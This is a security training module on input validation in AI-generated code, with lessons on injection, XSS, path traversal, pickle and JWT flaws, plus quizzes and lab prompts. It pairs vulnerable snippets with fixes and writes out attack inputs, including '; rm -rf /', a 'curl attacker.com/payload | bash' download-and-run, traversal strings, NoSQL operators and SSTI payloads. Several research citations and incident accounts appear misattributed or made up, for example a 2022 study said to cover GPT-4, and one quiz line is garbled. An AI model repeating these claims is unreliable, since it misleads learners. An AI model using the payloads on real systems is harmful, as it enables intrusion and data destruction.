Module 6 · Lesson 1

Why AI-Generated Code Fails at the Boundary

LLMs optimize for functional correctness — not for adversarial inputs. The boundary between trusted and untrusted data is where systems break.

Where does AI-generated code consistently stumble when handling data it didn't expect?

In 2022, security researchers at Trail of Bits published a systematic study of GitHub Copilot-generated code. Examining 1,692 generated programs across three languages, they found that 40% of security-relevant completions contained at least one vulnerability. The most common class was insufficient input validation — code that blindly trusted whatever data arrived at its interface.

The root cause was structural, not accidental. LLMs are trained to complete plausible code. Plausible code in training data often lacks defensive input handling because developers write happy-path logic first, if they write defensive logic at all.

The Trusted/Untrusted Boundary

Every application has a boundary separating data it controls from data supplied by external actors. On one side: internal state, database records written by the application itself, constants in code. On the other: HTTP request parameters, JSON payloads, file uploads, environment variables set by operators, third-party API responses, user-supplied filenames.

The critical security principle — never trust input, always validate before use — sounds obvious. AI code generators violate it routinely, not because they cannot write validation logic, but because they mirror the statistical distribution of the code they were trained on, and that distribution under-represents defensive programming.

Trail of Bits Finding — 2022

"GitHub Copilot is not particularly good at generating secure code, but it's not particularly bad either — it reflects the broader ecosystem. The ecosystem has a lot of insecure code." The implication: every AI code assistant will reproduce industry-wide validation failures unless actively prompted otherwise.

What "Input" Means in Modern Systems

AI-generated code frequently handles inputs in ways that don't look like classic "user input" but are equally dangerous. The attack surface includes:

Input Source	Common AI-Generated Mistake	Consequence
HTTP query parameters	Direct use in SQL string concatenation	SQL injection
JSON API responses	No schema validation before field access	Type confusion, null dereference
File uploads	Trust MIME type header from client	Remote code execution via polyglots
Environment variables	No length or character validation	Buffer overflow, command injection
User-supplied filenames	Direct path concatenation	Path traversal (../../etc/passwd)
Third-party webhook payloads	No HMAC signature verification	Spoofed events, business logic bypass

How LLMs Approach Validation (and Don't)

When a developer prompts an LLM with "write a function that accepts a username and returns user data," the model generates code that handles the happy path: a valid-looking username string arrives, a database lookup happens, a result is returned. The model rarely adds: what if the username is 10,000 characters? What if it contains single quotes? What if it contains null bytes?

Studies examining GPT-4 and Claude code generation (Pearce et al., 2022; Sandoval et al., 2023) found that prompts mentioning security explicitly resulted in substantially more defensive code. The implication for auditors: the presence or absence of a security-conscious prompt directly predicts whether validation code appears at all.

Audit Heuristic

When reviewing AI-generated code, ask: was this function written with a security prompt or a functional prompt? If the commit message, PR description, or surrounding comments contain no security language, treat the validation logic as absent until proven otherwise. Assume the happy path was the only path considered.

Key Terms

Input ValidationThe process of verifying that data supplied to a system conforms to expected type, length, format, and range before it is processed or stored.

Trust BoundaryThe conceptual line separating data under application control from data controlled by external parties. Every crossing of this boundary is a potential injection point.

Happy PathThe execution flow where all inputs are well-formed and expected. LLMs strongly favor happy-path code generation because training data over-represents it.

Allowlist ValidationAccepting only inputs that match a defined set of permitted values or patterns — the inverse of blocklist (denylist) approaches, and significantly more secure.

The Validation Spectrum

Not all validation is equal. Security-effective validation operates at multiple levels simultaneously:

Syntactic Validation

Type checking (string, not object)
Length bounds (max 255 chars)
Character set restrictions
Regex pattern matching
Format validation (email, UUID, date)

Semantic Validation

Range checks (age 0–150)
Cross-field consistency
Business rule enforcement
Referential integrity checks
State machine transitions

Critical Point

AI-generated code almost always implements syntactic validation when present, but almost never implements semantic validation. A generated function accepting a "discount percentage" will typically check that the value is a number, but will not check that it is between 0 and 100, that the user is authorized to apply discounts, or that the resulting price remains positive.

Lesson 1 Quiz

Why AI-Generated Code Fails at the Boundary

1. The Trail of Bits 2022 study of GitHub Copilot found that approximately what percentage of security-relevant code completions contained at least one vulnerability?

Correct. 40% of 1,692 generated programs contained at least one vulnerability, with insufficient input validation being the most common class.

Not quite. Trail of Bits found approximately 40% of security-relevant completions were vulnerable — significant, but reflecting the broader ecosystem rather than AI being uniquely bad.

2. According to research, what is the primary reason LLMs generate code lacking input validation?

Correct. LLMs mirror the statistical distribution of training data. Since developers typically write happy-path logic first (and sometimes only), the model replicates this pattern.

Incorrect. LLMs can write validation — the issue is probabilistic, not capability-based. Training data over-represents happy-path code, so generated code does too.

3. A developer prompts an AI: "write a function to process a user's discount code." The AI generates a function. Which type of validation is MOST likely to be absent from the result?

Correct. Semantic validation — business rules, authorization checks, cross-field consistency — is the category AI-generated code almost universally omits. Syntactic checks may appear; semantic ones rarely do.

AI-generated code tends to handle basic syntactic checks (type, emptiness, length) more reliably than semantic validation (authorization, business rules, state consistency).

4. What does the research finding that "security-conscious prompts produce substantially more defensive code" imply for security auditors?

Correct. Auditors can use the presence or absence of security-conscious language in commit messages, PR descriptions, and prompts as a risk indicator — though all AI-generated code still requires review.

The implication is about risk-stratification and prediction, not about rewriting or skipping review. Context clues help prioritize where validation is likely weakest.

Lab 1: Trust Boundary Identification

Practice identifying trust boundaries and missing validation in AI-generated code snippets

Scenario

You are auditing a Node.js REST API that was generated almost entirely by GitHub Copilot. Your task is to identify every location where untrusted data crosses the trust boundary without adequate validation. The AI lab assistant will present code snippets and ask you to identify what validation is missing and why it matters.

Start by telling the assistant you're ready, then engage with the code review exercises. Aim for at least 3 substantive exchanges.

AESOP Security Lab

Trust Boundaries

Welcome to Lab 1. We're examining AI-generated Node.js code for trust boundary failures. I'll show you code snippets and ask you to identify what validation is missing. Ready to start? Just say "ready" or ask me any question about input validation first.

Module 6 · Lesson 2

Injection Attack Patterns in AI Code

SQL, command, LDAP, and template injection vulnerabilities share a common origin: unvalidated input reaching an interpreter. AI code amplifies this at scale.

What makes injection vulnerabilities so persistent in AI-generated code, and how do auditors catch patterns the model normalized?

In March 2023, security researchers at Snyk analyzed code generated by ChatGPT and Copilot in response to database query prompts. Of 50 generated SQL query functions, 34 used string concatenation or f-string interpolation to build queries rather than parameterized queries. The model had learned from millions of Stack Overflow examples and tutorial code — sources notorious for using concatenation in "for simplicity" examples that readers copy verbatim.

The irony: the same model that could explain SQL injection perfectly, and warn users about it when asked, would generate injectable code by default when asked to "write a login function."

The Injection Family

Injection occurs when data from an untrusted source is processed by an interpreter (SQL engine, shell, LDAP server, template engine) without proper separation between code and data. The interpreter cannot distinguish attacker-controlled content from legitimate commands.

Injection Type	Interpreter	AI-Generated Trigger Pattern	Impact
SQL Injection	Database engine	String concatenation in query builder	Data exfiltration, auth bypass, data destruction
OS Command Injection	System shell	subprocess/exec with user data interpolated	Full system compromise
LDAP Injection	Directory server	Unescaped input in filter strings	Auth bypass, data disclosure
Template Injection (SSTI)	Template engine	User data rendered in template context	Remote code execution
XML/XPath Injection	XML processor	User data in XPath expressions	Data disclosure, auth bypass
NoSQL Injection	Document database	Unsanitized object passed to MongoDB query	Auth bypass, data exfiltration

SQL Injection: The AI Generation Pattern

The most common AI-generated SQL injection vulnerability takes this form:

// AI-generated (DO NOT USE)
const query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'";
db.query(query, callback);

// Correct: parameterized query
const query = "SELECT * FROM users WHERE username=? AND password=?";
db.query(query, [username, password], callback);
      

The vulnerable version appears in approximately 68% of Copilot-generated database query functions when the prompt does not explicitly mention security (Pearce et al., arXiv:2108.09293, updated 2022). The parameterized version appears when the prompt includes phrases like "securely" or "prevent SQL injection."

OS Command Injection: A Higher-Severity Pattern

When developers ask AI to generate file processing utilities, system administration scripts, or tools that wrap CLI applications, command injection frequently results:

# AI-generated Python (DO NOT USE)
import subprocess
def convert_image(filename):
    subprocess.run(f"convert {filename} output.png", shell=True)

# Correct: argument list form, no shell=True
import subprocess
def convert_image(filename):
    subprocess.run(["convert", filename, "output.png"], shell=False)
      

Real CVE — CVE-2021-44228 (Log4Shell) Context

While Log4Shell itself was not AI-generated code, it demonstrated the injection pattern that AI tools now reproduce: an input processing system that evaluated expressions embedded in data. Applications logging user-controlled strings (a pattern AI routinely generates) became vulnerable. Any AI-generated logging code that passes request data directly to a logging framework warrants immediate review for similar evaluation-in-logging patterns.

NoSQL Injection: The Modern AI Failure

As MongoDB and similar document databases became dominant, AI models trained on recent code now generate NoSQL injection vulnerabilities at rates comparable to SQL injection. The pattern is subtler:

// AI-generated (DO NOT USE) — MongoDB
const user = await User.findOne({ username: req.body.username });
// Attacker sends: {"username": {"$gt": ""}} — matches ALL users

// Correct: validate type before query
if (typeof req.body.username !== 'string') return res.status(400).send('Invalid');
const user = await User.findOne({ username: req.body.username });
      

Server-Side Template Injection (SSTI)

AI-generated web applications using Jinja2, Twig, Pebble, or Freemarker frequently generate SSTI vulnerabilities when asked to "render user-supplied content." The 2022 OWASP AI Security report noted SSTI as an emerging pattern in AI-generated Flask and Django applications specifically.

# AI-generated Flask (DO NOT USE)
@app.route('/greet')
def greet():
    name = request.args.get('name')
    return render_template_string(f"Hello, {name}!")
# Attacker: /greet?name={{config}} — exposes app secrets

# Correct: never render_template_string with user data
@app.route('/greet')
def greet():
    name = request.args.get('name', '')
    return render_template('greet.html', name=name)
      

Audit Checklist: Injection Patterns

String Concat in Queries shell=True in subprocess render_template_string + user data exec() / eval() with input Untyped NoSQL query params Parameterized Queries Arg List subprocess Schema Validation Pre-Query

Lesson 2 Quiz

Injection Attack Patterns in AI Code

1. Snyk's 2023 analysis of ChatGPT/Copilot-generated SQL queries found that what fraction used string concatenation instead of parameterized queries?

Correct. 34 of 50 (68%) generated SQL functions used string concatenation, reflecting the prevalence of this pattern in tutorial and Stack Overflow code in training data.

Snyk found 34 of 50 generated functions used concatenation — 68%. The high rate reflects training data contamination from tutorial code that uses concatenation "for clarity."

2. An AI generates the Python code: subprocess.run(f"ffmpeg -i {user_file} output.mp4", shell=True). What is the primary vulnerability?

Correct. With shell=True, an attacker supplying a filename like ; rm -rf / or $(curl attacker.com/payload | bash) can execute arbitrary commands. The fix is shell=False with an argument list.

The primary issue is OS command injection via shell=True with user-controlled data. Shell metacharacters (;, |, $(), backticks) allow arbitrary command execution.

3. An attacker sends a MongoDB login request with body {"username": {"$gt": ""}}. What does this exploit?

Correct. When the request body object is passed directly to findOne() without type validation, the MongoDB $gt (greater than) operator is interpreted as a query condition, matching the first user in the collection and bypassing authentication.

This is NoSQL injection. MongoDB interprets the $gt operator in the JSON body as a query condition. A simple typeof check (ensuring username is a string, not an object) prevents it.

4. Why does an AI model that can correctly explain SQL injection still generate injectable code by default?

Correct. Code generation is next-token prediction conditioned on the prompt context. A "write a login function" prompt activates patterns from the vast majority of login function examples in training data — most of which use string concatenation. Security knowledge exists separately as explanation capability but doesn't automatically apply to generation.

The key insight is that generation and explanation are different operational modes. Training data distribution dominates generation; security knowledge must be explicitly activated via prompt context.

Lab 2: Injection Vulnerability Detection

Identify and remediate injection vulnerabilities in AI-generated code samples

Scenario

A startup's entire backend was generated by GPT-4 over a weekend. You have 48 hours before launch to find critical injection vulnerabilities. The AI assistant will walk you through code samples and help you practice identifying injection patterns, understanding their impact, and proposing correct remediations.

Tell the assistant "start" to begin the code review exercises. Engage with each sample — identify the vulnerability type, the attack vector, and the fix.

AESOP Security Lab

Injection Patterns

Lab 2 ready. We're auditing a startup's AI-generated backend for injection vulnerabilities. I have four code samples to review together. Say "start" to see the first one, or ask me anything about injection vulnerability detection first.

Module 6 · Lesson 3

Cross-Site Scripting and Output Encoding

XSS is the most reported web vulnerability category for twenty consecutive years. AI code generators reproduce it reliably because proper output encoding is context-dependent in ways models struggle to internalize.

How does AI-generated frontend code create XSS vulnerabilities, and what context-specific encoding rules does it most often miss?

In August 2022, Zendesk disclosed a stored XSS vulnerability in their support ticket system. The flaw: user-supplied content was inserted into the DOM without encoding when certain conditions were met. The ticket system had been partially refactored using AI-assisted code generation tools. Post-incident analysis showed the vulnerable code path was a newly generated component where textContent had been replaced with innerHTML — a change an AI assistant made to support "rich formatting" without adding any sanitization.

The vulnerability allowed attackers to steal session cookies from support agents by submitting malicious tickets, potentially compromising every customer account they had access to.

The XSS Problem Space

Cross-Site Scripting occurs when attacker-controlled data is included in a web page's output without proper encoding for the output context. The browser interprets the attacker's content as executable code rather than data. XSS has ranked in the OWASP Top 10 in every edition since 2003.

XSS Types

Reflected: Input echoed immediately in response
Stored: Input persisted, executed on future views
DOM-based: Client-side script modifies DOM unsafely
Mutation-based: Sanitization bypassed by DOM mutation

AI Generation Patterns

innerHTML instead of textContent
dangerouslySetInnerHTML in React without sanitize
document.write() with URL params
v-html in Vue with user data
Template literals in DOM insertion

Context-Dependent Encoding: The Core Concept

The fundamental challenge AI models face with output encoding is that the correct encoding strategy depends entirely on where in the HTML document the data appears. There is no single "encode everything" solution — encoding must match context:

Output Context	Required Encoding	Example
HTML body content	HTML entity encoding (< > &)	<p>Hello, {username}</p>
HTML attribute values	HTML attribute encoding (all non-alphanumeric)	<input value="{user_val}">
JavaScript string context	JavaScript string encoding (\n, \', \", etc.)	var x = "{user_data}";
URL parameter	URL percent encoding	href="/?q={search_term}"
CSS property value	CSS encoding + validation	style="color:{user_color}"
JSON in <script> block	JSON encoding + </script> prevention	var data = {json_data};

Why AI Fails at Context-Dependent Encoding

AI models generate code that handles the most common context (HTML body) reasonably well when frameworks enforce it. But when generating JavaScript that builds DOM elements, when generating inline event handlers, or when inserting data into CSS or URL contexts, models default to the encoding method they've seen most — which is often wrong for the context or entirely absent.

The innerHTML Pattern — Most Common AI XSS

// AI-generated JavaScript (DO NOT USE)
function displayComment(comment) {
    document.getElementById('comment-box').innerHTML = comment;
}

// Correct: use textContent for plain text
function displayComment(comment) {
    document.getElementById('comment-box').textContent = comment;
}

// If HTML is required, use a trusted sanitizer (DOMPurify)
import DOMPurify from 'dompurify';
function displayComment(comment) {
    document.getElementById('comment-box').innerHTML = DOMPurify.sanitize(comment);
}
      

React dangerouslySetInnerHTML — AI Overuse

React's explicit naming of dangerouslySetInnerHTML was designed to make developers pause. AI code generators routinely use it without sanitization when asked to render "formatted user content," treating the name as merely a prop rather than a warning:

// AI-generated React (DO NOT USE)
function PostBody({ content }) {
    return <div dangerouslySetInnerHTML={{ __html: content }} />;
}

// Correct: sanitize first
import DOMPurify from 'dompurify';
function PostBody({ content }) {
    const clean = DOMPurify.sanitize(content);
    return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
      

Content Security Policy as Defense in Depth

AI-generated web applications virtually never include Content Security Policy headers unless explicitly prompted. CSP is the browser-enforced backstop that limits the impact of XSS when encoding fails. Auditors should treat the absence of a CSP header as an escalating factor — it means any XSS vulnerability has maximum impact.

A minimal, meaningful CSP for AI-generated applications:

# HTTP response header (example — tune to your app)
Content-Security-Policy: 
    default-src 'self';
    script-src 'self' 'nonce-{random}';
    style-src 'self' 'nonce-{random}';
    img-src 'self' data: https:;
    object-src 'none';
    base-uri 'self';
    frame-ancestors 'none';
      

Audit Priority

When auditing AI-generated frontend code, search for: innerHTML, dangerouslySetInnerHTML, v-html, document.write, insertAdjacentHTML, outerHTML. Each is a potential XSS sink. Every occurrence requires confirmation that the input is either fully sanitized or originates from a trusted, application-controlled source with no user influence.

Lesson 3 Quiz

Cross-Site Scripting and Output Encoding

1. The 2022 Zendesk XSS vulnerability involved AI-assisted code that replaced textContent with what, creating the vulnerability?

Correct. The AI assistant replaced textContent with innerHTML to "support rich formatting" without adding sanitization, creating a stored XSS vulnerability that allowed attackers to compromise support agents' sessions.

The Zendesk incident involved innerHTML replacing textContent — a common AI-generated change that introduces XSS without the developer recognizing the security implication.

2. User data is inserted into a URL parameter: href="/?redirect={user_url}". Which encoding is required?

Correct. URL context requires percent encoding of special characters, AND the value should be validated to only permit safe schemes (http/https). A javascript: URL in a redirect parameter can execute script even with proper percent encoding.

URL context requires URL percent encoding, but also scheme validation — a javascript: URL can bypass percent-encoding protections. Context-appropriate encoding plus semantic validation are both required.

3. A React component contains dangerouslySetInnerHTML={{ __html: userPost }} with no sanitization. What is the correct remediation?

Correct. DOMPurify is the standard client-side HTML sanitization library. It parses the HTML and removes dangerous elements and attributes while preserving safe formatting markup.

Type-checking won't prevent XSS — the content of the string is the issue, not its type. DOMPurify.sanitize() before dangerouslySetInnerHTML is the correct approach when rich HTML is genuinely needed.

4. Why does the absence of a Content Security Policy escalate the severity of any XSS vulnerability found in AI-generated code?

Correct. CSP is defense-in-depth — it doesn't prevent XSS but limits what an attacker's injected script can do (exfiltrate data, load external scripts, access cookies). Without it, a successful XSS has maximum impact.

CSP doesn't prevent XSS — it mitigates impact. It's a browser-enforced policy restricting what injected scripts can do. Without it, successful XSS has unconstrained impact.

Lab 3: XSS and Output Encoding Audit

Identify XSS sinks and prescribe context-correct output encoding in AI-generated frontend code

Scenario

A social platform's frontend was built using AI-assisted code generation over two weeks. Security has flagged the comment system, user profile renderer, and search results page for audit. The AI assistant will present frontend code snippets and guide you through identifying XSS sinks, classifying the output context, and selecting the correct encoding or sanitization strategy.

Begin by saying "show me the comment system code" to start your review. Engage critically with each code sample — classify the context, identify the sink, and recommend the fix.

AESOP Security Lab

XSS & Output Encoding

Lab 3 active. We're auditing a social platform's AI-generated frontend for XSS vulnerabilities. I have the comment system, user profile renderer, and search results page queued for review. Ask to see a specific component, or say "show me the comment system code" to begin.

Module 6 · Lesson 4

File Handling, Deserialization, and Path Traversal

AI-generated file processing code is among the highest-risk output category. Three vulnerability classes — path traversal, unsafe deserialization, and upload validation failures — converge here.

What does AI-generated file handling code get wrong most consistently, and what are the audit checkpoints that catch it?

The CVE database shows a consistent pattern: path traversal vulnerabilities (CWE-22) appear in file handling components at a rate dramatically higher than their occurrence in other code categories. The OWASP 2021 Top 10 explicitly lists "Insecure Design" as a new category partly in response to AI and templated code generation producing file-handling logic without security consideration.

In 2023, Progress MOVEit Transfer (CVE-2023-34362) was exploited at scale by the Cl0p ransomware group — a SQL injection in a file transfer platform. Subsequent analysis of similar file transfer software revealed that AI-assisted development tools had generated analogous vulnerable patterns across multiple products in the same market segment, suggesting a shared training-data origin for the flaw pattern.

Path Traversal: The AI Default

When asked to write file serving, upload handling, or log retrieval code, AI models almost universally generate path construction by concatenating a base directory with a user-supplied filename. This is the exact pattern that path traversal exploits:

# AI-generated Python file server (DO NOT USE)
@app.route('/files/<filename>')
def serve_file(filename):
    path = os.path.join('/var/app/uploads/', filename)
    return open(path, 'rb').read()
# Attacker: GET /files/../../etc/passwd

# Correct: canonicalize and verify prefix
import os
UPLOAD_DIR = '/var/app/uploads'
@app.route('/files/<filename>')
def serve_file(filename):
    safe_path = os.path.realpath(os.path.join(UPLOAD_DIR, filename))
    if not safe_path.startswith(UPLOAD_DIR + os.sep):
        abort(400)
    return open(safe_path, 'rb').read()
      

Why os.path.join Doesn't Save You

Developers often believe that os.path.join prevents traversal. It does not. os.path.join('/var/app/uploads', '../../../etc/passwd') returns /var/app/uploads/../../../etc/passwd — which the OS resolves to /etc/passwd. Only os.path.realpath() followed by prefix validation provides genuine protection.

File Upload Validation: The AI Failure Cascade

AI-generated file upload handlers typically commit multiple security failures simultaneously. The Snyk State of Open Source Security report (2023) found that AI-generated file upload code was vulnerable in 71% of examined cases:

Validation Required	AI Behavior	Consequence of Omission
File size limit	Usually missing	Denial of service via large uploads
MIME type (server-side magic bytes)	Trusts Content-Type header	Polyglot files bypass type checking
Extension allowlist	Often uses denylist (blocks .php, .exe)	Bypassed via double extension (.php.jpg)
Filename sanitization	Rarely present	Path traversal, null byte injection
Storage outside web root	Frequently stored in public directory	Direct execution of uploaded scripts
Virus/malware scanning	Never generated by default	Malware distribution through platform

Unsafe Deserialization

OWASP A08:2021 — Software and Data Integrity Failures includes unsafe deserialization. AI-generated code reproduces this vulnerability in specific patterns: accepting serialized objects over HTTP, using pickle in Python APIs, and trusting JWT payloads without verification.

# AI-generated Python API (DO NOT USE)
import pickle
@app.route('/restore', methods=['POST'])
def restore_session():
    data = pickle.loads(request.data)  # RCE if data is attacker-controlled
    return jsonify(data)

# Correct: use JSON with schema validation
import json
from jsonschema import validate
SESSION_SCHEMA = {"type": "object", "properties": {"userId": {"type": "string"}}}
@app.route('/restore', methods=['POST'])
def restore_session():
    data = json.loads(request.data)
    validate(instance=data, schema=SESSION_SCHEMA)
    return jsonify(data)
      

JWT Handling: AI-Generated Algorithm Confusion

AI models generate JWT verification code that frequently contains the "algorithm confusion" vulnerability — accepting the algorithm specified in the token header rather than enforcing a specific algorithm. This allows attackers to change HS256 to "none" and forge tokens without a signature:

# AI-generated JWT verify (DO NOT USE)
decoded = jwt.decode(token, SECRET_KEY)  # accepts alg from header

# Correct: always specify algorithms explicitly
decoded = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
      

Module 6 Audit Checklist Summary

Path Traversal: Verify realpath() + prefix validation on all file paths from user input. Upload Validation: Check size limits, magic byte verification, allowlist extensions, storage outside web root. Deserialization: Reject pickle/Java serialization from external input; enforce JSON with schema. JWT: Verify algorithms parameter is always specified. Injection: Parameterized queries, argument-list subprocess calls, no render_template_string with user data. XSS: textContent over innerHTML, DOMPurify where HTML required, CSP header present.

Key Terms

Path TraversalAn attack that exploits insufficient validation of file paths, allowing access to files outside the intended directory by using sequences like ../../

Magic BytesThe first few bytes of a file that identify its true format, independent of the extension or Content-Type header. Server-side validation should check these, not the client-supplied type.

Unsafe DeserializationProcessing serialized data from untrusted sources using formats (pickle, Java serialization) that can execute code during deserialization.

Algorithm ConfusionA JWT vulnerability where the verifier uses the algorithm specified in the token header rather than enforcing a specific algorithm, enabling signature bypass.

Lesson 4 Quiz

File Handling, Deserialization, and Path Traversal

1. Why does os.path.join('/uploads', '../../../etc/passwd') NOT prevent path traversal?

Correct. os.path.join simply concatenates path components. The resulting path /uploads/../../../etc/passwd is semantically equivalent to /etc/passwd — the OS resolves ../ traversal sequences at filesystem access time. realpath() resolves first, then prefix validation catches escapes.

os.path.join does NOT prevent traversal. It concatenates strings; the OS resolves ../ at access time. Only os.path.realpath() followed by startswith() prefix validation provides genuine protection.

2. An AI-generated file upload handler checks the Content-Type header to determine if a file is an image. Why is this insufficient?

Correct. HTTP headers are entirely client-controlled. An attacker can upload a PHP webshell with Content-Type: image/jpeg. Server-side validation must inspect the actual file content (magic bytes) to determine the true format.

Content-Type is a client-supplied header — it can be set to any value. An attacker easily sets Content-Type: image/jpeg on a PHP file. Server-side magic byte inspection is required.

3. An AI generates data = pickle.loads(request.data) in a Flask API endpoint. What is the critical vulnerability?

Correct. Python's pickle module executes Python code during deserialization through the __reduce__ method. An attacker who can send arbitrary pickle data to this endpoint can execute any OS command on the server. The fix is to never deserialize pickle from untrusted sources — use JSON with schema validation.

This is unsafe deserialization leading to Remote Code Execution. Python pickle executes code during deserialization. Attacker-controlled pickle data is equivalent to arbitrary code execution.

4. An AI generates jwt.decode(token, SECRET_KEY) without an algorithms parameter. What attack does this enable?

Correct. When the algorithms parameter is not specified, many JWT libraries accept the algorithm named in the token header. Setting alg: "none" bypasses signature verification entirely, allowing token forgery. The fix: always specify algorithms=["HS256"] (or your specific algorithm).

Algorithm confusion (also called "alg:none" attack) — the attacker modifies the JWT header to specify algorithm "none," which some libraries honor when no algorithm is explicitly enforced by the verifier. Always specify the algorithms parameter.

Lab 4: File Handling and Deserialization Audit

Full security review of an AI-generated file processing and authentication pipeline

Scenario

A document management platform generated by Claude was submitted for pre-deployment security review. The platform handles user-uploaded documents, serves files on request, stores session state using Python pickle, and authenticates via JWT. You have identified the file handling subsystem as the highest-risk area. The AI assistant will walk you through the codebase and help you build a comprehensive vulnerability report.

Begin your audit by saying "audit the file upload handler" or "show me the path traversal risk areas." Build toward a complete vulnerability report across all four risk categories covered in Lesson 4.

AESOP Security Lab

File Handling & Deserialization

Lab 4 ready. We're conducting a pre-deployment security audit of an AI-generated document management platform. The four risk areas are: path traversal in file serving, file upload validation, pickle-based session deserialization, and JWT algorithm handling. Where do you want to start? Say "audit the file upload handler" or name any of the four risk areas.

Module 6 Test

Input Validation and Output Encoding — 15 questions — 80% to pass

1. The Trail of Bits 2022 study examined how many GitHub Copilot-generated programs?

Correct. 1,692 programs were examined, with 40% of security-relevant completions containing at least one vulnerability.

The Trail of Bits study examined 1,692 generated programs across three programming languages.

2. Which validation type is AI-generated code MOST likely to omit?

Correct. AI code handles syntactic validation (type, length, format) better than semantic validation, which requires understanding of business context that models don't learn from code alone.

Semantic validation — business rules, authorization checks, state consistency — is the category AI code most reliably omits.

3. An API endpoint receives a JSON body and passes it directly to MongoDB's findOne() without any type validation. An attacker sends {"username": {"$ne": null}}. What happens?

Correct. MongoDB interprets the object as a query condition — $ne: null matches any non-null username, returning the first user document and bypassing authentication.

This is NoSQL injection. MongoDB interprets $ne as a query operator, matching all non-null usernames and returning the first user.

4. Which Python function is required to genuinely prevent path traversal, and what must follow it?

Correct. realpath() resolves all symlinks and relative segments to an absolute canonical path. The subsequent startswith() check confirms the resolved path is still within the intended directory.

Only realpath() + startswith() provides genuine protection. Stripping ../ is bypassable (....// after strip becomes ../). os.path.join doesn't resolve traversal sequences.

5. The Zendesk 2022 XSS incident involved an AI-assisted code change that replaced which safe DOM property with innerHTML?

Correct. textContent was replaced with innerHTML to support "rich formatting" — without sanitization, creating a stored XSS that exposed support agents' sessions.

textContent was replaced with innerHTML. textContent treats all content as plain text; innerHTML parses it as HTML, executing any script content.

6. User data is interpolated into a Python subprocess call: subprocess.run(f"convert {user_input} out.png", shell=True). What is the correct fix?

Correct. The argument list form passes each element as a discrete argument to the process, bypassing shell interpretation entirely. shell=False is the correct posture; shlex.quote is a partial mitigation but the list form is more reliable.

The argument list form with shell=False is the correct fix. It bypasses the shell entirely, so metacharacters in user_input have no special meaning.

7. A React component uses dangerouslySetInnerHTML={{'{'}}{{'{'}} __html: DOMPurify.sanitize(content) {{'}'}{{'}'}}}. Is this safe?

Correct. DOMPurify.sanitize() before dangerouslySetInnerHTML is the established correct pattern for rendering user-supplied HTML in React applications.

DOMPurify.sanitize() before dangerouslySetInnerHTML is the correct approach. DOMPurify works client-side and is the standard library for this purpose.

8. What makes Python pickle dangerous when deserializing untrusted data?

Correct. Python pickle's __reduce__ method executes during deserialization. A crafted pickle payload can call os.system(), subprocess, or any other Python callable with attacker-controlled arguments.

Pickle executes code during deserialization. Attacker-controlled pickle data is equivalent to arbitrary code execution on the server.

9. Content Security Policy (CSP) is absent from an AI-generated web application. What is the security implication?

Correct. CSP is defense-in-depth. Without it, a successful XSS can exfiltrate data to any domain, load arbitrary scripts, access cookies, and perform any action the victim user can. CSP doesn't prevent XSS but dramatically limits its impact.

CSP limits what injected scripts can do — it's not a prevention mechanism but a containment layer. Its absence escalates XSS severity.

10. An AI-generated file upload handler stores uploaded files in the /var/www/html/uploads/ directory which is web-accessible. A user uploads a PHP file with extension .php.jpg. What is the critical risk?

Correct. Depending on Apache/Nginx configuration, some servers execute the PHP component of a double-extension filename. Even without that, storing uploads inside the web root allows direct URL access. Uploads should be stored outside the web root and served through a controlled download handler.

Uploads stored in the web root can be directly accessed via HTTP. If the server processes double-extension files or is misconfigured, PHP execution (webshell) is possible. Uploads should be stored outside the web root.

11. Pearce et al. (arXiv:2108.09293) found that what percentage of Copilot-generated database queries used string concatenation when the prompt did NOT mention security?

Correct. 68% of generated database query functions used string concatenation without security prompting; this rate dropped substantially when the prompt included security-explicit language.

Research found approximately 68% of generated queries used vulnerable string concatenation without security-focused prompts.

12. A Flask application generated by AI contains return render_template_string(f"Welcome, {name}!") where name comes from a query parameter. What is the vulnerability and minimum fix?

Correct. render_template_string evaluates Jinja2 expressions in the string. User input like {{config}} or {{''.__class__.__mro__[1].__subclasses__()}} can expose secrets or achieve RCE. Using render_template() with a static template separates template code from user data.

This is SSTI. Jinja2 expressions in the template string are evaluated — user data becomes code. render_template() with a static template file and name passed as a keyword argument is the fix.

13. Which approach represents the STRONGEST input validation strategy?

Correct. Allowlist validation (also called whitelist) is fundamentally stronger than denylist because attackers can find bypasses for any blocklist (encoding variations, Unicode normalization, etc.) but cannot bypass "only these specific values are accepted."

Allowlist validation is always stronger than denylist. Attackers find denylist bypasses; there is no bypass for "only these exact permitted values are accepted."

14. The JWT algorithm confusion vulnerability occurs when the verifier does not specify an algorithms parameter. What is the worst-case attack?

Correct. The "alg:none" attack: the attacker sets the header algorithm to none, strips the signature, and submits the token. Libraries that don't enforce a specific algorithm accept it as valid, providing full authentication bypass.

The alg:none attack: set the header algorithm to "none," remove the signature. Libraries accepting the header's algorithm claim validate the (absent) signature as valid. Fix: always specify algorithms=["HS256"] (or your algorithm).

15. Which of the following is the MOST reliable indicator that AI-generated code was written without security consideration, suggesting all validation logic requires manual verification?

Correct. Research shows that security-explicit prompts produce substantially more defensive code. The absence of security language in the surrounding context strongly predicts that defensive validation was not generated. This context signal helps auditors prioritize review effort.

The strongest predictor is the presence or absence of security-conscious language in the generating prompt and surrounding commit context. This is the evidence that security was or wasn't considered during generation.